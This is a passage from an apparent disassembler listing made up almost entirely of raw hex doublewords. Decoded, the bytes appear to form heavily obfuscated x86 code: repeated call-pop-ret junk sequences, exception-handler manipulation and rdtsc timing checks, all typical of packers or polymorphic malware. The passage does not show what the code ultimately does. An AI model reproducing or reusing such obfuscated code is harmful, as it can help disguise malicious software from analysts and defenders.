3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 0D1C04BC3h dd 89B1B52Bh, 441D6185h, 0CD0BBB06h, 840F7B2Dh, 6, 0E218589h dd 858D0644h, 6478B58h, 575090F5h, 5BDFB753h, 9D01905Bh dd 6440885h, 2850Fh, 0F98B0000h, 35FF64h, 8B000000h, 443189BDh dd 25896406h, 0 dd 2F399589h, 85FF0644h, 64408E9h, 0EE960h, 8E230000h dd 61F34B2Ch, 9FDEC540h, 6AC7FDB5h, 0DE8h, 239EC600h, 456781F5h dd 0C496ECB9h, 0BF66D8D4h, 615AB9A9h, 0E01BD8Bh, 0FF6A0644h dd 15459D8Bh, 0B5FF0644h, 6441C9Dh, 8EE4BB66h, 228195FFh dd 0F2E90644h, 0B0000000h, 0C2CB8100h, 0E6031E51h, 0A1BD0970h dd 0F9064433h, 8B6671E4h, 0F613CDFh, 0D483h, 0C1BD0900h dd 0F064431h, 9D8BC8B6h, 6441E65h, 0AE8h, 0BC446000h, 0F4C1B826h dd 8B2808CBh, 6BA5BFBh, 66000000h, 0C18BD98Bh, 0C171D780h dd 66FC04E8h, 30B3E2F7h, 0BD31C82Bh, 64417E5h, 30099D8Bh dd 0D18B0644h, 0D199D8Bh, 5E90644h, 66000000h, 6384E781h dd 1F65858Bh, 96B70644h, 6607C083h, 837D43BBh, 858900C0h dd 64428CDh, 830FD03Bh, 11h, 0C955C381h, 52E951A4h, 89000000h dd 44036195h, 998D8B06h, 8B06442Ch, 440C2D9Dh, 1E18306h dd 37840Fh, 95890000h, 6440D21h, 2C99A583h, 23FE0644h dd 440DF99Dh, 65958906h, 6006441Fh, 10E8h, 0D0EC9300h dd 0B6C6106Eh, 0F5AF94DAh, 0EC68F275h, 61F95857h, 0E9h dd 73B58D00h, 6A0647CDh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 544FC352h, 0C97265EBh dd 6A006A79h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 0BD38C355h, 956493F3h, 0F38166C7h dd 95FFA6E7h, 6441C4Dh, 1DC1BD8Bh, 87B90644h, 6A000007h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 3629C356h, 3E7D74C4h, 0BFFB1A45h, 4E55BBB9h dd 6AFCE183h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 0FCB8C350h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 0C1C35242h, 0E97B9C3Bh, 0Fh dd 7AD72360h, 0C67210h, 4BA89688h db 6Fh, 2Ah word_580046 dw 66C7h ; DATA XREF: ___:off_4328B4o ; ___:004328BCo ... dd 0B8FB8Bh, 1000000h, 442B899Dh, 0BA06h, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 718D5BC3h, 0D9BBDD0h, 5798E780h, 5B2EB353h, 0DE8B605Bh dd 2A8950B8h, 33AD6114h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 931DCC3h, 880D33F4h, 6ADF8Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 805189C3h, 3FAD42BCh dd 880Dh, 0BDBD8B00h, 8B064423h, 442F5D95h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 8F293FA5h, 9D8B426Ch, 64433CDh, 6798D8Bh, 6A0644h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 1741ECC3h, 79849222h, 5E8CE75h, 3A000000h, 9D0F572Ch dd 33A99D8Bh, 505F0644h, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 0A6485814h, 9C295AA2h, 850F3E01h dd 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 5AC35646h dd 0EA394AB5h, 85895297h, 64430D1h, 2CADBD83h, 0F000644h dd 8B84h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 81B1E5A1h, 3BDE090Bh, 2ED59D89h dd 85890644h, 6440421h, 0B8h, 0DD858900h, 8D064418h, 444E558Dh dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 0DC2D2B69h, 0B35497CCh, 9D8BF823h, 6441EF9h dd 6AE1FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 0E8F5BC3h, 1071BD83h, 0F000644h, 4D284h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 0A552FAF0h, 0C1A5Ch, 0BD83759Eh, 6441071h dd 0BB840F01h, 6A000004h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 0C31BC350h, 8D894622h dd 64418EDh, 1071BD83h, 0F030644h, 45386h, 0C7816600h dd 29601D78h, 442F61B5h, 0D98C6606h, 819D2352h, 5F064410h dd 6A04E180h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 5E70C356h, 810FC18Eh, 9, 75B58B60h dd 0F8064430h, 0FC90A61h, 1B784h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 730097A8h dd 8983EDB6h, 44146D95h, 3820F06h, 80000000h, 858BAECFh dd 6440AD5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 48C35545h, 9C0DFF23h, 0E9C6A985h, 6, 921481B0h dd 74B3CC16h, 3BD8533h, 6A0644h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 0D3E866C3h, 50A0D823h dd 52505353h, 585A310Fh, 4895B5Fh, 50006A24h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 0DC237745h dd 81668D6Ah, 0B4431DBh, 440A319Dh, 6A006A06h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 58E4C355h, 6058AF8h, 0E88C175Bh, 4, 1F03FFh, 0A860Fh dd 0B6600000h, 0F52508Eh, 61585A31h, 0DE8B6650h, 424448Bh dd 79F444BBh, 89008B5Bh, 60042444h, 6800Fh, 52500000h dd 585A310Fh, 586127B7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 0B5C35545h, 7EBC3C5Bh, 0B58B606Eh, 64413A5h dd 369DF381h, 0FF614A68h, 44008195h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 8CB0A6F6h dd 9D8B7560h, 64429D5h, 0B7608589h, 6A0647h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0A30378C3h dd 2D9D8BFEh, 0E906442Dh, 1CFh, 0B758858Bh, 6A0647h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 2C9142C3h, 8E856F9h, 0D1000000h, 0BEA73C94h, 8939951Eh dd 4408C1BDh, 0C75B5F06h, 1800h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 8BF98BA3h dd 47B75CB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 38D0861Ah, 89786F89h, 442DD995h dd 0D858B06h, 6A064430h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 89F8C356h, 69858906h dd 8B06442Fh, 440AD585h, 4689FC06h, 0DFB70F04h, 0BE896h dd 0E1BD0000h, 5BB830B4h, 24273911h, 5820F11h, 0BF000000h dd 50887F09h, 0BB66505Fh, 6A96608Ch, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8B78C357h dd 4402459Dh, 6830F06h, 89000000h, 44067D9Dh, 58B5FF06h dd 520647B7h, 6810Fh, 0BD8B0000h, 64419D9h, 9D16685Bh dd 800FEE05h, 0Ah, 0F88A5250h, 5B53310Fh, 481585Ah, 1966E924h dd 14E812h, 0C13A0000h, 0BF7BF266h, 786099FDh, 0AD18E010h dd 609CD20Dh, 85891965h, 6441D81h, 60858D5Fh, 6A0647B7h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 0BDA0C356h, 0B70F312Bh, 8B6690F8h, 0DE950D9h dd 26000000h, 8DD4974Ch, 74D38B44h, 0A19B51F2h, 53006A90h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 57E075D3h, 8195FF63h, 66064400h, 61FB33BBh, 0AE9h, 700D0B00h dd 91DC4082h, 0C72570E6h, 44107185h, 306h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 0B12FE754h, 0BD0B552Bh, 6440CCDh, 0B760BD83h, 0F000647h dd 2F84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 0F0A68E0h, 8B66DBB7h, 21E9FAh, 9D8B0000h dd 6442F69h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h dd 66C08B00h, 0E29BF781h, 14E9h, 0FEB32100h, 5789B069h dd 39FC54C2h, 52A0A2A4h, 6E473FA3h, 71BD83DDh, 3064410h dd 456850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 5C1253C3h, 19DE3719h, 0CF1BD8Bh dd 0BD830644h, 647B760h, 21840F00h, 6A000004h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 0B254C353h, 0E6161C69h, 0E5CFBBBFh, 0B5FF6D57h, 647B760h dd 8B0Fh, 95FF0000h, 6440699h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 0EBC35040h, 0B48B8753h, 816610A2h dd 8B4E28D3h, 47B754B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 9CAD6136h, 0C74FF425h dd 1000106h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 81782CD5h, 9A6A43EBh, 66605072h dd 8961F18Bh, 8B602434h, 4425C5B5h, 61DA8B06h, 0B760B5FFh dd 8DBF0647h, 0FF3FC275h, 441E0195h, 0D48A6006h, 8B61C68Bh dd 47B754B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 5F22B2AFh, 2FF96FB0h, 23559529h dd 858B0644h, 6442E71h, 3399D8Bh, 86890644h, 0C4h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0B7C35747h, 3810F13h dd 80000000h, 958B4FEBh, 6442F5Dh, 2DDD9D31h, 0C2830644h dd 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 0E0366DD2h, 0E8273D0Eh, 2050899Ah, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0FAC35242h, 0C2D01088h dd 0E5DCF381h, 0EF80706Eh, 1C870FD3h, 0F000000h, 1683h dd 11E900h, 0E3750000h, 4359F9A1h, 0A3210F2Bh, 0BFB93694h dd 8D572B2Bh, 47CAA085h dd 0FEBF0F06h, 0B88689h, 0BD890000h, 6441CE1h, 8B60006Ah dd 440039BDh, 0D97ABE06h, 0FF6116B8h, 47B760B5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0EC9DEE09h, 6CB6C03Ah, 296D95FFh, 6A0644h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 0BD55D2C3h dd 9D33A68Eh, 6442439h, 0F785BB66h, 24348950h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 78C35747h, 0D516CD4h dd 0B5FF1F4Eh, 647B760h, 0A258D89h, 95FF0644h, 64417D9h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 68C35343h dd 83DBBF0Fh, 4414B5BDh, 840F0006h, 65h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 19h, 97C35141h, 6CF91A13h dd 51F78104h, 8B7CA20Eh, 525050F8h, 8E0F310Fh, 3, 5ADE8B66h dd 24348958h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 76C35040h, 0E48A81CEh, 0C9D4831Ch, 0D9BF66DBh dd 60B5FF2Bh, 6A0647B7h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 0B303C356h, 0DAB70FA0h dd 0C480BF66h, 2E7D95FFh, 0F7810644h, 9698D77h, 0B760B5FFh dd 6A0647h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 6A1B22C3h, 7E963D2h, 2C000000h, 0CEC0E21Fh dd 95FF27EBh, 6441441h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 0F9C35747h, 83FA23D5h, 480491Ah, 0D1BD8945h dd 8306440Ch, 440A85BDh, 840F0206h, 43h, 2F2D8589h, 858B0644h dd 6441591h, 830Fh, 13E80000h, 63000000h, 39DC68C2h, 6A52B1C4h dd 0DA506123h, 299A3A6Eh, 0BD33A8DCh, 64425F9h, 0C65Fh dd 0FFEBF0Fh, 687h, 0D5BD0B00h, 0C7064403h, 44175985h dd 6, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 0EDE664CEh, 10DA6AB3h, 0FFF26DE9h dd 68F0FFFh, 89000000h, 442E2585h, 66C18B06h, 9E56C381h dd 1BE1858Dh, 0FA8B0644h, 89C9B750h, 9D232404h, 6440FD5h dd 8D29006Ah, 6441949h, 8D0F006Ah, 2, 0FC8AF98Bh, 4719858Dh dd 6A0648h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 3EBE47C3h, 89B72380h, 8B91361Ch, 440A6DBDh dd 12E806h, 0A6D30000h, 987BA58Bh, 3ED2A770h, 0AE380F4Ch dd 95337C87h, 5DBD8B56h, 5F064422h, 0F9B70F5Bh, 6A05C083h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 0C214C351h, 0D5C3C4E3h, 0BF50A3F5h, 75737DB9h dd 6A240489h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 381CC356h, 0CB8FDE35h, 8166BBA5h dd 66D8F8DFh, 0B50D88Bh, 4408C19Dh, 6A5F06h, 0F60006Ah dd 282h, 665A5100h, 61CF71BBh, 182595FFh, 6A0644h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 3E1C11C3h, 8D8DBED6h, 6479A97h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 5FC35646h, 0AB166B35h, 0BBB97AE6h dd 6BC2159Bh, 8D0Fh, 0D1FF0000h, 0FE9h, 1A043F00h, 0B8DB5A24h dd 63863F5Ch, 0FB4DBD3Ah, 2F11BD83h, 0F010644h, 5685h dd 0BD9D8900h, 6A064410h, 4895002h, 11E924h, 0C0300000h dd 38AC60Ch, 0B0FBB735h, 433F3F8Bh, 0FF09A631h, 44296D95h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 0EF0B0FB5h, 9EF48E5Bh, 60CB8166h, 0DB589B6h dd 0E9064403h, 0D91h, 0E8h, 0ED815D00h, 6484723h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 8EC35040h, 56618912h dd 0AE9h, 0FF8C3D00h, 0BEC5603Ch, 5BFD6AACh, 8B58858Dh dd 6A0647h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 0CF1BCDC3h, 8B66A0E7h, 757BBD8h, 60506A63h dd 0C1C270BBh, 0E50FBF4Dh, 89613E76h, 0B1602404h, 17E081C8h dd 6136B62Eh, 35FF64h, 8B000000h, 442A9D9Dh, 0A59D0106h dd 6406440Dh, 2589h, 8D010000h, 6441CE1h, 1E859D89h, 85FF0644h dd 64408E9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 9FC35141h, 2FA5BD89h, 0FF6A0644h, 24EDBD8Bh, 8D890644h dd 64413C5h, 1EB9B5FFh, 95FF0644h, 6442281h, 146E9h, 0B0D98B00h dd 0E6FA8B00h, 0F71E470h, 58Eh, 8DE3BF00h, 613C3F2Fh, 129830Fh dd 81660000h, 0F97C1D3h, 0BD8BC8B6h, 6442535h, 6BAh, 0BCE38100h dd 8B4FFDA7h, 0BF0F60C1h, 858D8BFFh, 61064428h, 6604E8C1h dd 6657C7BBh, 9D2BE2F7h, 6440D79h, 24099589h, 0C82B0644h dd 0DE853h, 19AF0000h, 8C4CA90h, 0CBE583FBh, 0F312E3Bh dd 5F5BF8B7h, 0CE9D18Bh, 0B5000000h, 74571BB5h, 2B4A4F66h dd 0E9FA0C14h, 28h, 0FE9h, 0B7844000h, 5D9C4530h, 63FE6D2Ah dd 0DC440032h, 0FE9h, 21C1500h, 30F3D66h, 2DC09768h, 775196D3h dd 76D858Bh, 85890644h, 6440911h, 8907C083h, 441C7D95h dd 0C08306h, 3458D89h, 0D03B0644h, 11830Fh, 95890000h dd 64402F1h, 62E9h, 6DBD0B00h, 8B064408h, 441FC58Dh, 7CF8006h dd 0F01E183h, 4A84h, 0FE800h, 83B40000h, 0C2ACD66Ch, 1AD1A18Bh dd 21E6F0EFh, 3870FD4h, 0F000000h, 95BF8B7h, 440C3985h dd 0C5A58306h, 0FE06441Fh, 0A159D8Bh, 95890644h, 644076Dh dd 0B5BD8956h, 5F064432h, 2F99D8Bh, 0E90644h, 8D000000h dd 47D7A7B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 0E9615AEAh, 3D9D8B33h, 89064432h dd 4421299Dh, 0EF816606h, 6AEEFAh, 0A3D8589h, 95FF0644h dd 6441C4Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 4BC35545h, 5A09BF67h, 10E91DCEh, 0F6000000h, 0A0F35C0Ch dd 3E312BBDh, 5AB64611h, 0B96A4B65h, 0E42h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 4BC35545h, 6A048FB1h dd 0A3159B65h, 7DA7BB66h, 60FCE183h, 6FC3BB66h, 890F56h dd 5E000000h, 6AFC61h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0E62E16C3h, 0E9F9B607h, 0Ch, 7CB0363Dh dd 0BAA4918Ah, 899F4206h, 0B8h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0A77BBAD3h dd 0C7C1FDB7h, 0D22BBEBEh, 0ADDF8B66h, 0E8D1C233h, 0E983D003h dd 6AF47504h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 23ABC357h, 0E267D870h, 2FF58D89h dd 95890644h, 6442589h, 880Dh, 9D8B5600h, 6442339h, 6810F5Fh dd 0F000000h, 85h, 5D958B00h, 0E906442Fh, 5, 2F61E8F4h dd 0B58B600Bh, 6441BC1h, 8D8B61F9h, 6440679h, 6830Fh dd 95890000h, 64421E1h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 95895818h, 6441DC9h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 0EFC35242h, 8C5928F6h, 0A80BFADBh dd 28F0Fh, 46B30000h, 2CADBD83h, 0F000644h, 8784h, 68E0F00h dd 89000000h, 442E3585h, 0B806h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 14E914C3h dd 87000000h, 0D9A354C7h, 0D857EFB7h, 0FD047864h, 5F634140h dd 8DA6044Bh, 444E558Dh, 0E1FFFC06h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 0DBC35545h, 873A0D05h, 9E888h dd 0A9A80000h, 1EA16E23h, 6091F696h, 2A059D23h, 5F610644h dd 1071BD83h, 0F000644h, 42184h, 0AD958900h, 83064431h dd 441071BDh, 840F0106h, 429h, 1071BD83h, 0F030644h, 3E686h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 666B3E2Bh, 60B6BABFh, 6870Fh, 0B5290000h dd 6441C95h, 6AD98C66h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 9CCCC356h, 0BF66E35Ah dd 0D381CD73h, 4E1713A5h, 6A04E180h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0CFF7C352h dd 538EA803h, 0EABA14BFh, 0C90A5B1Bh, 12D840Fh, 858B0000h dd 6440AD5h, 0F99589FCh, 33064403h, 4403BD85h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 2578BB96h, 6E990h, 59480000h, 16A136ECh, 0EE850h, 0BB100000h dd 0E6B5CE22h, 4569AD5Ch, 79AEF28Bh, 0BE9h, 73CAE900h dd 57A2A5E0h, 0B031C5B5h, 6A905Fh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 236411C3h, 4F57BF66h dd 4D68006Ah, 606A0002h, 0F678BA66h, 8161E3B4h, 1B22434h dd 10E86A1Fh, 52000000h, 0CD20453Ch, 3EDEC2F1h, 0F5C71EA0h dd 5F69D01Dh, 8195FFh, 6A0644h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 8BB19CC3h, 440055BDh dd 60858906h, 600647B7h, 14800Fh, 0FE90000h, 20000000h dd 0DE222BB8h, 3836B51Eh, 3F2CC23Fh, 810F8DD6h, 2, 0E961C38Ah dd 1FBh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 4FC35141h, 12A63857h, 8B0C3B51h, 47B75885h, 0C7C5B706h dd 1800h, 15BD8B00h, 0B306441Ah, 5CB58BF9h, 6A0647B7h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 0C3F6C356h, 8908A90Fh, 441FC1B5h, 0D858B06h dd 6A064430h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 0C6EAC356h, 6A068948h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 2DB1C357h, 0A9FBBE7Ah, 0E9F9B70Fh, 12h, 9F53C31Ah, 77081090h dd 0C3D20A6Ch, 0C4F749CBh, 858BAE67h, 6440AD5h, 0EE9h dd 6FAF6E00h, 1C91520Eh, 0E80E25BEh, 89977CCBh, 0BD8B0446h dd 6442BCDh, 0BB665750h, 895FC600h, 0EB802434h, 55BD299Eh dd 0FF06440Ah, 47B758B5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 57EA79C3h dd 68DB82ADh, 9043EF79h, 4815FB3h, 0DB148624h, 57006A6Fh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 78DA42A3h, 4B4CBA2Ah, 9E9h, 2DBE5400h, 168B59B1h, 858DB58Bh dd 647B760h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 0DCC35646h, 28BD378Eh, 81666066h, 899943F1h, 4420658Dh dd 0F506106h, 280h, 8917B300h, 6A2404h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 81E06FC3h dd 4840FA4h, 66000000h, 0FF8939BFh, 44008195h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 9DD4A71h, 850Fh, 94BF0000h, 613DB916h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 17h, 45C35747h, 8BDBFE95h dd 44097D9Dh, 7185C706h, 3064410h, 80000000h, 0BD83FFD3h dd 647B760h, 14840F00h, 89000000h, 441A558Dh, 24E906h dd 820F0000h, 3, 50D8B70Fh, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 0D21911C3h, 7795630h dd 1BD8B93h, 8B06440Eh, 441C499Dh, 71BD8306h, 3064410h dd 421850Fh, 0E9F80000h, 0Dh, 0F0AD0D76h, 8E8A7314h, 0B25C3D75h dd 60BD83C1h, 647B7h, 401840Fh, 8F0F0000h, 6, 715BD2Bh dd 0B5FF0644h, 647B760h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 0A3C35242h, 0BE740B3h, 95FF3387h, 6440699h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0D5C35040h dd 0B58BF535h, 647B754h, 97AFBB66h, 106C7h, 6A0001h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 0BF640C3h, 6840Fh, 0D7810000h, 5E8A56D4h, 96FBB70Fh dd 0EE9h, 9339E500h, 13D9374Ah, 0BD3F19D4h, 508C0FE0h dd 57006A96h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 667E64A6h, 81D1CB81h, 0B5FFDF8Bh, 647B760h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 1DC35242h dd 41683D29h, 9D8BEAFBh, 6440DC5h, 0DF1BD09h, 95FF0644h dd 6441E01h, 2855BD0Bh, 0B58B0644h, 647B754h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0F0C35646h, 2CE4DAA6h dd 0F937EAD9h, 71858B27h, 8006442Eh, 8689C2CFh, 0C4h, 28D0Fh dd 0F98A0000h, 2F5D958Bh, 0DF800644h, 4C283A4h, 0E8B0Fh dd 9E90000h, 97000000h, 0D758598Ch, 4DE38159h, 2151B529h dd 50890644h, 0D9B70F20h, 10E9h, 9CF85A00h, 1EAC7286h dd 172320BBh, 0D5E16C84h, 0A0858D1Bh, 8B0647CAh, 0B88689D8h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 6679C356h, 6A2B47BBh, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 3F6DE5D5h, 0A6E2BDA1h, 29E1BD8Bh, 0B5FF0644h, 647B760h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 76C35747h dd 0E5F78166h, 6D95FF35h, 96064429h, 96D98B50h, 0FBD1F5BFh dd 60B5FF79h, 560647B7h, 7E9h, 8BF40100h, 5117C6A3h, 0DEBF0F5Fh dd 17D995FFh, 6A0644h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 4B387C3h dd 6EC867CEh, 0D8589B8h, 83064400h, 4414B5BDh, 840F0006h dd 57h, 38A0Fh, 0B70F0000h, 0BF5096F8h, 278E58D4h, 56006A96h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 0F53BC80Ah, 0E9548529h, 13h, 21CA87DCh, 93693310h, 0FB1F3BBAh dd 6B09BE18h, 0F9E3AAAh, 687h, 0B98D8900h, 0FF06442Eh dd 47B760B5h, 0FFDE8A06h, 442E7D95h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 8D8B601Eh dd 644229Dh, 0B5FF61F9h, 647B760h, 0AE9h, 48B61400h, 31CC96C4h dd 0FFFCB219h, 44144195h, 11E906h, 80300000h, 771E5025h dd 60DEAC32h, 584BE357h, 83A7D649h, 440A85BDh, 840F0206h dd 9Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch dd 17C35646h, 51973F73h, 89E31D86h, 8B68D380h, 44159185h dd 11E906h, 7DEB0000h, 0E95DD5DBh, 0CA9DD427h, 800C9A2Fh dd 0C67D21E1h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 425039C3h, 17820Fh, 12E90000h, 0A8000000h dd 0F4BA0268h, 267E44EAh, 327264DAh, 0FA4F9659h, 14E917h dd 2A7B0000h, 76C428DBh, 433B4E11h, 0AD6E2CDh, 0FAE0A264h dd 85C7A6A2h, 6441759h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 23C35040h dd 0E9C1B7BEh, 0FFFFF362h, 1C0DBD8Bh, 0C18B0644h, 14E9h dd 0E9716400h, 0B5892E23h, 0ACE0A447h, 3D0B7A4h, 0E1A2D7BBh dd 0E1858D33h, 6A06441Bh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 